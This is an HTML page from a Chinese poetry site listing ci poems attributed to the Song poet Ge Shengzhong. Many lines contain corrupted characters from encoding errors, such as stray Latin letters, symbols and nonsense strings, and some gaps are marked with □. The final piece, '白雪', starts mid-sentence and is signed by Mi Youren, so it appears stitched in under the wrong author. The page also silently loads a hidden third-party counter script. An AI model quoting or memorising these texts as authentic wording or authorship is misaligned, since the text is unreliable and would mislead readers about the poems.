<html>
<head>
<title>古诗库：全宋词：葛胜仲</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="style.css"></head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
 <p align="center">葛胜仲<p align="center">江神子（初至休宁冬夜作）</p>
<ul>
    昏昏雪意惨云容。猎霜风。岁将穷。流落天涯，憔悴一衰翁。清夜小窗围兽火，倾酒绿，借颜红。
<p>
    官梅疏艳小壶中，暗香浓。玉玲珑。对景忽惊，身在大江东。上国故人谁念我，晴嶂远，暮云重。
<p>
</ul>
<p align="center">蝶恋花（二月十三日同安人生日作二首）</p>
<ul>
    雨后春光浓似醉。著柳催花，节物侵龙忌。绣褓香闺当日。紫兰宫堕人间世。
<p>
    歌管停云香吐u。碧酒红裳，共祝鱼轩贵。天上阿环金秘。龟龄鹤寿三千岁。
<p>
</ul>
<p align="center">蝶恋花</p>
<ul>
    共乐堂深帘不卷。恻恻寒轻，二月春犹浅。续寿竞来歌舞院。龙涎香衫鲛绡段。
<p>
    画栋朝飞双语燕。端似知人，著意窥金盏。柳外花前同祝愿。朱颜长在年龄远。
<p>
</ul>
<p align="center">临江仙（尉姜补之托疾卧家作）</p>
<ul>
    郊外黄垓端可厌，归来移病香闺。象床珍簟共委蛇。耆婆寻草尽，天女散花迟。
<p>
    小雨作寒秋意晚，檐声与梦相宜。冷侵罗幌酒烟微。试评书五朵，何似画双眉。
<p>
</ul>
<p align="center">渔家傲（初创真意亭于南溪，游陟晚归作）</p>
<ul>
    岩壑萦回云水窟。林深路断迷烟客。茅屋数椽携杖舄。人寂寂。侵檐万个琅\碧。
<p>
    倦客羁怀清似涤。更无一点飞埃迹。溪涨慢流过几席。寒。凫p点破琉璃色。
<p>
</ul>
<p align="center">渔家傲</p>
<ul>
    叠叠云山供四顾。簿书忙里偷闲去。心远地偏陶令趣。登览处。清幽疑是斜川路。
<p>
    野蔌溪毛供饮具。此身甘被烟霞痼。兴尽碧云催日暮。招晚渡。遥遥一叶随鸥鹭。
<p>
</ul>
<p align="center">鹧鸪天（九月十三日携家游夏氏林亭燕集作，并送汤词）</p>
<ul>
    小榭幽园翠箔垂。云轻日薄淡秋晖。菊英露旁明径，藕叶风吹叔宝池。
<p>
    酬素景，泥芳卮。老人痴钝强伸眉。欢华莫遣笙歌散，归路从教灯影稀。
<p>
</ul>
<p align="center">鹧鸪天</p>
<ul>
    婆律香浓气味佳。玻璃仙碗进流霞。凝膏清涤高阳醉，灵液甘和正焙芽。
<p>
    香染指，浪浮花。加笾礼尽客还家。贯珠声断红裳散，踏影人归素月斜。
<p>
</ul>
<p align="center">点绛唇（县斋愁坐作）</p>
<ul>
    秋晚寒斋，藜床香篆横轻雾。闲愁几许。梦逐芭蕉雨。
<p>
    云外哀鸿，似替幽人语。归不去。乱山无数。斜日荒城鼓。
<p>
</ul>
<p align="center">行香子（愁况无聊作）</p>
<ul>
    风物飕飕。木落沧洲。渐老人、不奈悲秋。羁怀都在，鬓上眉头。似休文瘦，文通恨，子山愁。
<p>
    庭梧影薄，篱菊香浮。强招寻、聊命朋俦。穷通皆梦，今古如流。且渊明径，子猷舫，仲宣楼。
<p>
</ul>
<p align="center">诉衷情（友人生日）</p>
<ul>
    清明寒食景暄妍。花映碧罗天。参差捍拨齐奏，丰颊拥芳筵。
<p>
    逢诞日，揖真仙。托炉烟。朱颜长似，头上花枝，岁岁年年。
<p>
</ul>
<p align="center">水调歌头（程良器嘉量别赋一阕纪泛舟之会，往返次韵）</p>
<ul>
    夜泛南溪月，光影冷涵空。棹飞穿碎金电，翻动水精宫。横管何妨三弄，重醑仍须一斗，知费几青铜。坐久桂花落，襟袖觉香浓。
<p>
    庾公阁，子猷舫，兴应同。从来好景良夜，我辈敢情钟。但恐仙娥川后，嫌我尘容俗状，清境不相容。击汰同情赏，赖有紫溪翁。
<p>
</ul>
<p align="center">水调歌头</p>
<ul>
    下濑惊船驶，挥尘恐尊空。谁吹尺八寥亮，嚼徵更含宫。坐爱金波潋滟，影落蒲萄涨绿，夜漏尽移铜。回棹携红袖，一水带香浓。
<p>
    坐中客，驰隽辨，语无同。青鞋黄帽，此乐谁肯换千钟。岩壑从来无主，风月故应长在，赏不待先容。羽化寻烟客，家有左仙翁。
<p>
</ul>
<p align="center">水调歌头</p>
<ul>
    胜友欣倾盖，羁宦懒书空。爱君笔力清壮，名已在蟾宫。萧散英姿直上，自有练裙葛帔，岂待半通铜。长短作新语，墨纸似鸦浓。
<p>
    山吐月，溪泛艇，率君同。吾侪轰饮文字，乐不在歌钟。今夜长风万里，且倩泓澄浩荡，一为洗尘容。世上闲荣辱，都付塞边翁。
<p>
</ul>
<p align="center">木兰花（与诸人泛溪作）</p>
<ul>
    木阑干外池光阔。午夜乔林迷岸樾。掠船凉吹起青萍，萦水歌声欺白雪。
<p>
    檀郎响趁红牙节。胡语嘈嘈仍切切。人生何乐似同襟，莫待骊驹声惨咽。
<p>
</ul>
<p align="center">满庭霜（任尝尝为西安太守，风流名迹，图经史牒具载，感今怀古作）</p>
<ul>
    百不为多，一不为少，阿谁昔仕吾邦。共推任笔，洪鼎力能扛。不为桃花禄米，雠书倦、一苇横江。招寻处，徒行曳杖，曾不拥麾幢。
<p>
    山川，真大好，鱼矶无恙，密岭难双。听讼诉多就，樵坞僧窗。岁月音容远矣，风流在、遐想心降。云烟路，搜奇吊古，时为酹空缸。
<p>
</ul>
<p align="center">醉蓬莱（天宁节作）</p>
<ul>
    望葱葱佳气，虹渚祥开，斗枢光绕。析木天津，正灵晖腾照。鹭缀分班，象胥交贡，奉御觞清晓。玉殿寒轻，金徒漏永，瑞炉烟袅。
<p>
    万宇均欢，示慈颁燕，寿祝南山，庆均凫藻。缥缈红云，望九重天表。舞兽锵洋，\鳌欣戴，度管弦声杳。历草长新，蟠桃永秀，与天难老。
<p>
</ul>
<p align="center">西江月</p>
<ul>
    灵观夜燕作二首
<p>
    羁宦新来作恶，穷途谁肯相从。追攀十日水云中。情谊知君独重。
<p>
    寂寂回廊小院，冥冥细雨尖风。凤山香雪定应空。昨夜疏枝入梦。
<p>
</ul>
<p align="center">西江月</p>
<ul>
    山镇红桃阡陌，烟迷绿水人家。尘容误到只惊嗟。骨冷玉堂今夜。
<p>
    莫对佳人锦瑟，休辞洞府流霞。峰回路转乱云遮。归去空传图画。
<p>
</ul>
<p align="center">南乡子（三月望日与文中诸贤泛舟南溪作）</p>
<ul>
    柳岸正飞绵。选胜斋轻漾碧涟。笑语忘怀机事尽，鸥边。万顷溪光上下天。
<p>
    菰苇久延缘。不觉遥峰霭暮烟。对酒莫嫌红粉陋，婵娟。自有孤高月妇仙。
<p>
</ul>
<p align="center">浣溪沙（木芍药词）</p>
<ul>
    可惜随风面旋飘。直须烧烛看娇娆。人间花月更无妖。
<p>
    浓丽独将春色殿，繁华端合众芳朝。南床应为醉陶陶。
<p>
</ul>
<p align="center">浣溪沙</p>
<ul>
    通白轻红溢万枝。浓香百和透丰肌。丹山威凤势将飞。
<p>
    玉镜台前呈国艳，沈香亭北映朝曦。如花惟有上皇妃。
<p>
</ul>
<p align="center">浣溪沙</p>
<ul>
    斗鸭栏边晓露沾。华堂醉赏轴珠帘。插花人好手纤纤。
<p>
    遮护轻寒施翠幄，标题仙品露牙签。词人遗恨独江淹。
<p>
</ul>
<p align="center">西江月（次韵林茂南博士杞泛溪）</p>
<ul>
    山外半规残日，云边一缕余霞。满城飞雪散苕花。万顷溪连罨画。
<p>
    柳练缌骶晒，鹤龄潇洒人家。肯嗟流落在天涯。云水从今起价。
<p>
</ul>
<p align="center">西江月（三月初六日席上代监酒和）</p>
<ul>
    晚路交游绿酒，平生志趣青霞。霜风时节近黄花。泛宅舟将益鸟画。
<p>
    不分两溪明月，夜深只属渔家。今朝清赏寄情涯。肯向萦涂索价。
<p>
</ul>
<p align="center">蝶恋花（和王廉访）</p>
<ul>
    风过涟漪纹e细。十指香檀，惊破交禽睡。野蔌溪毛真易致。风流未减兰亭会。
<p>
    击汰千艘供洛禊。映水垂杨，万缕拖浓翠。小海一声波上戏。殷勤留客千金意。
<p>
</ul>
<p align="center">临江仙（燕诸部使者）</p>
<ul>
    自古吴兴称冷僻，菰城水浸粼粼。回星难望使车尘。如何三日饮，并有五行人。
<p>
    文似枚皋加敏速，记书易若张巡。幕中无用郄嘉宾。他年浮枣会，莫忘两溪春。
<p>
</ul>
<p align="center">临江仙</p>
<ul>
    千古乌程新酿美，玉觞风过粼粼。歌声未辨起梁尘。九天持斧客，来作绣衣人。
<p>
    夙有辞华惊乙览，传闻献颂东巡。未应握节久宾宾。一封驰诏旨，却醉上林春。
<p>
</ul>
<p align="center">临江仙（与叶少蕴梦得上巳游法华山九曲池流杯）</p>
<ul>
    小样洪河分九曲，飞泉环绕粼粼。青莲往事已成尘。羽觞浮玉L，宝剑捧金人。
<p>
    绿绮且依流水调，蓬蓬酹鼓催巡。玉堂词客是佳宾。茂林修竹地，大胜永和春。
<p>
</ul>
<p align="center">定风波（与叶少蕴、阵经仲、彦文燕骆驼桥，少蕴作，次韵二首）</p>
<ul>
    千叠云山万里流。坐中碧落与鳌头。真意见嬉吾已领。烟景。不辞捧诏久汀洲。
<p>
    老去一官真是漫。溪岸。独余此兴未能收。留与吴儿传胜事。长记。赤阑桥上揽清秋。
<p>
</ul>
<p align="center">定风波</p>
<ul>
    共喜新凉大火流。一声水调听歌头。况有修蛾兼粉领。佳景。谢公无不碍沧洲。
<p>
    平昔短檠真大漫。气岸。老来都向酒杯收。云水光中修禊事。犹记。转头不觉已三秋。
<p>
</ul>
<p align="center">浣溪沙（少蕴内翰同年宠速，且出后堂，并制歌词侑觞，即席和韵二首）</p>
<ul>
    今夜风光恋渚萍。欲教四角出车轮。金钗离立座生春。
<p>
    神文恍惊巫峡梦，飞琼原是阆风人。诏封后院宠儒臣。
<p>
</ul>
<p align="center">浣溪沙</p>
<ul>
    溪岸沈深属泛萍。倾城容貌此推轮。可怜虚度二年春。
<p>
    暮暮来时骚客赋，朝朝新处后庭人。天留花月伴羁臣。
<p>
</ul>
<p align="center">浣溪沙（少蕴内翰同年宠速，遣妓隐帘吹笙，因成一阕）</p>
<ul>
    东道殷勤玉蟹伞；灯倾国拥珠玑。玉奴嫌瘦玉环肥。
<p>
    缥缈幸闻缑岭曲，参差犹隔夏侯衣。放开云月出清辉。
<p>
</ul>
<p align="center">瑞鹧鸪（和通判送别）</p>
<ul>
    两年人住岂无情。别乘辞华四水清。何事千钟勤饮饯，故知一别未能轻。
<p>
    解龟虽幸樊笼出，挂席还愁海汐平。江草江花都是泪，骊驹休作断肠声。
<p>
</ul>
<p align="center">浪淘沙（将去南阳作）</p>
<ul>
    步讯远风。细探春工。百花堂下牡丹丛。莫恨使君来便去，不见红。
<p>
    雾眼一衰翁。无意芳。年来结习已成空。寄语国香雕槛里，好为人容。
<p>
</ul>
<p align="center">蓦山溪（天穿节和朱刑掾二首）</p>
<ul>
    望云门外。油壁如流水。空巷逐朱幡，步春风、香河七里。冶容炫服，摸石道宜男，穿翠霭，度飞桥，影在清漪里。
<p>
    秦头楚尾。千古风流地。试问汉江边，有解、行云旧事。主人是客，一笑强颁春，烧灯后，赏花前，遥忆年年醉。
<p>
</ul>
<p align="center">蓦山溪</p>
<ul>
    春风野外。卵色天如水。鱼戏舞绡纹，似出听、新声北里。追风骏足，千骑卷高冈，一箭过，万人呼，雁落寒空里。
<p>
    天穿过了，此日名穿地。横石俯清波，竞追随、新年乐事。谁怜老子，使得暂遨游，争捧手，乍凭肩，夹道游人醉。
<p>
</ul>
<p align="center">蓦山溪（送李彦时）</p>
<ul>
    出门西笑。千里长安道。不用引离声，便登荣、十洲三岛。画船珠箔，萍末水风凉，随柳岸，楚台人，景与人俱好。
<p>
    应嗟见晚，玉殿生清晓。正是妙年时，步承明、谋身须早。轺车肤使，新逐凯歌回，恩重，彩衣轻，嘉庆知多少。
<p>
</ul>
<p align="center">西江月（二首。一连水东楼燕集、一泛舟）</p>
<ul>
    艳曲醉歌金缕，朱门高耸铜环。中天楼观共跻攀。飞絮落花春晚。
<p>
    低映绿阴朱户，斜拖素练沧湾。银钩华榜五云间。奕奕蛟龙字绾。
<p>
</ul>
<p align="center">西江月</p>
<ul>
    H斜红带柳，琉璃涨绿平桥。人在花月见新妖。不数江南苏小。
<p>
    恨寄飞花蔌蔌，情随流水迢迢。鲤鱼风送木兰桡。回棹荒鸡报晓。
<p>
</ul>
<p align="center">西江月（与王庭锡登燕集作）</p>
<ul>
    清樾已生昼寂，孤花尚表春余。象床筠簟燕堂虚。初过晚凉微雨。
<p>
    璧新来北苑，鲈鱼未减东吴。捧觞红袖透香肤。不畔枇烟缕。
<p>
</ul>
<p align="center">西江月（叔父庆八十会作）</p>
<ul>
    瑞兽香云轻袅，华堂绣幕低垂。人生七十尚为稀。况是钓璜新岁。
<p>
    登俎青梅的，明阑红药芳菲。天教眉寿过期颐。常对风光沈醉。
<p>
</ul>
<p align="center">浣溪沙（赏芍药）</p>
<ul>
    楼子包金照眼新。香根犹带广陵尘。翻阶不羡掖垣春。
<p>
    不分与花为近侍，难甘溱洧赠闲人。如羞如怨独含颦。
<p>
</ul>
<p align="center">虞美人（酬卫卿弟兄赠）</p>
<ul>
    三年曾不窥园树。辛苦萤窗暮。怪来文誉满清时。柿叶书残犹自、日临池。
<p>
    春秋新学卑繁露。黄卷聊堪语。家人不用寄龟诗。行看升平楼外、化龙归。
<p>
</ul>
<p align="center">虞美人</p>
<ul>
    一轮丹桂树。光景疑非暮。天公著意在兹时。扫尽微云点缀、展清池。
<p>
    樽前金奏无晨露。只有君房语。骊驹客莫赋归诗。东道留连应赋、不庸归。
<p>
</ul>
<p align="center">瑞鹧鸪（工部七月一日生辰）</p>
<ul>
    火风欲避金风至。秀气充闾初降瑞。去家丁令却归来，还燕悬弧当日地。
<p>
    金章紫绶身荣贵。寿福天储昌又炽。怪来一岁四迁官，还过当生元太岁。
<p>
</ul>
<p align="center">鹊桥仙（七夕）</p>
<ul>
    鹊桥仙偶，天津轻渡，却笑嫦娥孤皎。平时五夜似经年，问何事、今宵便晓。
<p>
    云车将驾，神夫留恋，更吐心期多少。支机休浪与闲人，莫倚赖、芳心素巧。
<p>
</ul>
<p align="center">江城子（呈刘无言焘）</p>
<ul>
    浮家重过水晶宫。五年中。事何穷。无恙山溪，鬟影落青铜。欲向旧游寻旧事，云散彩，水流东。
<p>
    苔花向我似情钟。舞霜风。雪蒙蒙。应怪史君，颜鬓便衰翁。赖是寻芳无素约，端不恨，绿阴重。
<p>
</ul>
<p align="center">江城子（和无言雪词）</p>
<ul>
    飞身疑到广寒宫。玉花中。兴何穷。酒贵旗亭，谁是惜青铜。飘瞥三吴真妙绝，银万里，失西东。
<p>
    草堂红蜡暖歌钟。卷帘风。赏空蒙。丰颊修眉，鹤氅拥仙翁。欲作氍毹花底客，清漏永，禁城重。
<p>
</ul>
<p align="center">蝶恋花（章道祖・生日）</p>
<ul>
    安石榴花浓绿映。解愠风轻，乍改朱明令。衮绣元臣门户盛。童孙此日悬弧庆。
<p>
    夜宴华堂添酒兴。□□除书，远带天香剩。欲跑娌ü┬命。不须龙护江心镜。
<p>
</ul>
<p align="center">南乡子（九日用玉局翁韵作呈坐上诸公）</p>
<ul>
    晴日乱云收。人在萍香柳林蕖Ｏ上清风楼上醉，飕飕。共折黄花插满头。
<p>
    佳客献还酬。不负山城九日秋。苕碧下青供酩酊，休休。楚客当年浪自愁。
<p>
</ul>
<p align="center">南乡子（九日）</p>
<ul>
    拂槛晓云鲜。销暑楼危竦半天。曾是携宾当荐九，开筵。度水萦山奏管弦。
<p>
    黄菊映华颠。千骑重来已六年。楼下东流当日水，依然。更对周旋旧七贤。
<p>
</ul>
<p align="center">减字木兰花（薛肇明同二侍姬至葛山观梅，薛公会作）</p>
<ul>
    葛山仙隐。尚有余膏留旧鼎。十里梅花。夹道争看衮绣华。
<p>
    人间妙丽。并侍黄扉开国贵。僻壤孤芳。羞涩尊前不敢香。
<p>
</ul>
<p align="center">临江仙（上巳日游海昌王氏园，吴宰效及中散兄）</p>
<ul>
    倦客身同舟不系，轻帆来访儒仙。春风元巳艳阳天。夭桃方散锦，高柳欲飞绵。
<p>
    千古海昌佳绝地，双凫暂此留连。通宵娱客破芳尊。兰亭修禊事，梓泽醉名园。
<p>
</ul>
<p align="center">临江仙（席上和呈中散兄及吴令）</p>
<ul>
    宝观山尧飞雉堞，登临恍欲升仙。野桃官柳衬吴天。春风寒食夜，遗恨在封绵。
<p>
    闻道东溟才二里，银涛直与天连。凭谁都卷入芳尊。赋归欢靖节消渴解文园。
<p>
</ul>
<p align="center">减字木兰花（公弼侄初授官，以此劝酒）</p>
<ul>
    辛勤场屋。未遇知音甘陆陆。诏录遗忠。一札天书下九重。
<p>
    鹅城初命。此去青云应渐近。解褐恩新。今岁吾家第四人。
<p>
</ul>
<p align="center">减字木兰花（病起不见杏花作）</p>
<ul>
    杏花零乱。拟把百觚来判断。病卧漳滨。不见枝头闹小春。
<p>
    吾衰老矣。一醉花前犹不遂。情绪厌厌。虚度韶光又一年。
<p>
</ul>
<p align="center">虞美人（自兰陵归，冬夜饮严州酒作）</p>
<ul>
    严陵滩畔香醪好。遮莫东方晓。春风盎盎入寒肌。人道霜浓腊月、我还疑。
<p>
    红炉火热香围坐。梅蕊迎春破。一声清唱解人颐。人道牢愁千斛、我谁知。
<p>
</ul>
<p align="center">鹧鸪天（新春）</p>
<ul>
    玉g还飞换岁灰。定山新棹酒船回。年时梁燕双双在，肯为人愁便不来。
<p>
    衰意绪，病情怀。玉山今夜为谁颓。年时梅蕊垂垂破，肯为人愁便不开。
<p>
</ul>
<p align="center">西江月（送卫卿弟赴定远簿）</p>
<ul>
    万卷旧推鸿博，一官且慰蹉跎。升平楼下赐危科。曾对J昂黼坐。
<p>
    燕颔从来骨贵，鸾栖尚屈才多。今宵且共入无何。定远功名么麽。
<p>
</ul>
<p align="center">浪淘沙（十月十九夜赏菊）</p>
<ul>
    我爱菊花枝。怕镀宜。旋移佳种一年期。照眼黄金三径烂，可但东篱。
<p>
    秋老摘花吹。敢恨开迟。只愁一夜便香衰。待插满头年大也，且泛芳卮。
<p>
</ul>
<p align="center">鹧鸪天（赏菊二首）</p>
<ul>
    黄菊鲜鲜带露浓。小园开遍度香风。自N玉酝酬秋色，旋洗霜须对晚丛
<p>
    香在手，莫匆匆。寻芳今夜有人同。黄金委地新收得，莫道山翁到底穷。
<p>
</ul>
<p align="center">鹧鸪天</p>
<ul>
    采采黄花鹄彩浓。吹开一夜为霜风。已邀骚客陶元亮，不用歌姬盛小丛。
<p>
    秋易老，莫匆匆。齐山高兴古今同。欲知此地花多少，一眼金英望不穷。
<p>
</ul>
<p align="center">木兰花（十二月二十日卢姊生辰）</p>
<ul>
    谈围曾蔽青绫帐。林下中年敦素尚。烟波偶趁一帆风，却锁云扃来就养。
<p>
    自从悟得空无相。身把虚空来作样。大千沙界抹为尘，未比无生真寿量。
<p>
</ul>
<p align="center">醉花阴（次韵印师）</p>
<ul>
    东皇已有来归耗。十里青山道。冻木卉万株梅，一夜妆成，似趁鸣鸡早。
<p>
    年时清赏曾同到。先仗游蜂报。抖擞旧心情，一笑酬春，不羡和羹诏。
<p>
</ul>
<p align="center">浣溪沙（赏梅）</p>
<ul>
    东阁郎官巧写真。西湖处士妙传神。嫣然一笑腊前春。
<p>
    斗好虽无冰骨女，相宜幸是雪髯人。且烦疏影入清尊。
<p>
</ul>
<p align="center">浣溪沙（小饮）</p>
<ul>
    盘里明珠芡实香。尊前堆雪脍丝长。何妨羌管奏伊凉。
<p>
    翠葆重生无复日，白波不酹有如江。壁间醉墨任淋浪。
<p>
</ul>
<p align="center">临江仙（章圃赏瑞香二首）</p>
<ul>
    二月风光浓似酒，小楼新湿青红。碧琉璃色映群峰。更携金凿落，来赏锦薰笼。
<p>
    调客旧留□月旦，此花清软纤。未饶兰蕙转光风。赤阑呈雅艳，翠幕护芳丛。
<p>
</ul>
<p align="center">临江仙</p>
<ul>
    雪壁歌词题尚湿，春风又见轻红。一枝斜插映头峰。不辞连夜赏，银烛透纱笼。
<p>
    白发欺人今老矣，尊前羞见繁。清香尤虎溪风。海棠须避席，佳种谩蚕丛。
<p>
</ul>
<p align="center">浣溪沙（赏酴）</p>
<ul>
    一夜狂风尽海棠。此花天遣殿群芳。芝兰百濯见真香。
<p>
    劝客淋浪灯底韵，恼人魂梦枕边囊。一枝插不□□□。
<p>
</ul>
<p align="center">鹊桥仙（七夕）</p>
<ul>
    凉飙破暑，清歌萦坐，缺月稀星庭户。瓜华草草具杯盘，喜共拧⒊躞哿懵丁
<p>
    天孙东处，牵牛西望，劝汝一杯清醑。精灵何必待秋通，为一洗、朦胧今古。
<p>
</ul>
<p align="center">临江仙（二月二十二日锦薰阁赏花）</p>
<ul>
    槛外奇葩江外种，娇春未减革呈红。画楼晴日敛云峰。佛香来海岸，蜀锦荐灯笼。
<p>
    今夜那忧杀风景，酒花来斗妖浓。江梅冷淡避春风。明朝来纵赏，应醉绮罗丛。
<p>
</ul>
<p align="center">蝶恋花（次韵张千里驹照花）</p>
<ul>
    二月春游须烂漫。秉烛看花，只为晨曦短。高举蜡薪通夕看。红光万丈腾天半。
<p>
    寄语平时游冶伴。不负分阴，胜事输今段。灯火休催归小院。殷勤更照桃花面。
<p>
</ul>
<p align="center">蝶恋花</p>
<ul>
    只恐夜深花睡去。火照红妆，满意留宾住。凤烛千枝花四顾。消愁更待寻何处。
<p>
    汉苑红光非浪语。栖静亭前，都是珊瑚树。便请催尊鸣酹鼓。明朝风恶飘红雨。
<p>
</ul>
<p align="center">蝶恋花（再次韵千里照花）</p>
<ul>
    百紫千红今烂熳。举烛辉花，莫厌烧令短。酒里逢花须细看。人生谁似英雄半。
<p>
    安得红颜为老伴。妙舞花前，杨柳夸身段。已倒玉山迥竹院。清香不断风吹面。
<p>
</ul>
<p align="center">蝶恋花</p>
<ul>
    已过春分春欲去。千炬花间，作意留春住。一曲清歌无误顾。绕梁余韵归何处。
<p>
    尽日劝春春不语。红气蒸霞，且看桃千树。才子霏谈更五鼓。剩看走笔挥风雨。
<p>
</ul>
<p align="center">浪淘沙（九月十八日与千里赏菊三首）</p>
<ul>
    又见菊花新。色浅香匀。老人衰病卧漳滨。虽是无聊仍止酒，幸有嘉宾。
<p>
    不用怨萧辰。不似芳春。请看金蕊照金尊。今夜花前须醉倒，直到黎明。
<p>
</ul>
<p align="center">浪淘沙</p>
<ul>
    歌阕斗清新。檀板初匀。画堂新筑太湖滨。好是黄花开应候，聊宴亲宾。
<p>
    上客即逢辰。况是青春。上林开宴锡尧尊。今夜素娥真解事，偏向人明。
<p>
</ul>
<p align="center">浪淘沙</p>
<ul>
    娱老小亭新。丹垩初匀。万枝金菊绕溪滨。折向华堂遮醉眼，聊用娱宾。
<p>
    红烛夜香辰。广坐生春。月波新酿入芳尊。好向花前拚烂醉，不负承明。
<p>
</ul><p align="center">南乡子（九日黄刚定再索席间作）</p>
<ul>
    秋水莹精神。靖节先生太逼真。谈尘生风霏玉屑，津津。爽气冷然欲侵人。
<p>
    一座尽生春。满引琼觞已半醺。更把黄花寿彭祖事出魏文帝，盈盈。数阕新声又遏云。
<p>
</ul>
<p align="center">虞美人（题灵山广禅院）</p>
<ul>
    灵山法会何曾散。此地神光满。丁公潭下百雷霆。疑是银河挽下、一齐倾。
<p>
    高桥飞观连云起。槛外惊湍水。大矶才过小矶来。应有天孙灵驭、月中迥。
<p>
</ul>
<p align="center">白雪</p>
<ul>
    名，神奇之趣，非古今画家者流也。惟是京口翟伯寿，余生平至交，昨豪夺余自秘着色袖卷，盟于天而后不复力取归。往岁挂冠神武门，居京城旧庐，以白雪词寄之，世所谓念奴娇也
<p>
    洞天昼永，正中和时候，凉飙初起。羽扇纶巾，云流处，水绕山重云委。好雨新晴，绮霞明丽，全是丹青戏。豪攘横卷，楚天应解深秘。
<p>
    留滞。字学书林，折腰缘为米，无机涉世。投组归来欣自肆，目仰云霄醒醉。论少卑之，家声接武，月旦评吾子。凭高临望，桂轮徒共千里。|<昨与吴傅朋蜀冷金笺上戏作一幅。比与达功相遇，知亦为此郎夺，因追省此词，跋于小卷后。旧曾写寄蔡天任，以白雪易其名，旧名可谓恶甚。懒拙道人元晖。>|
<p>
</ul>
                <div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
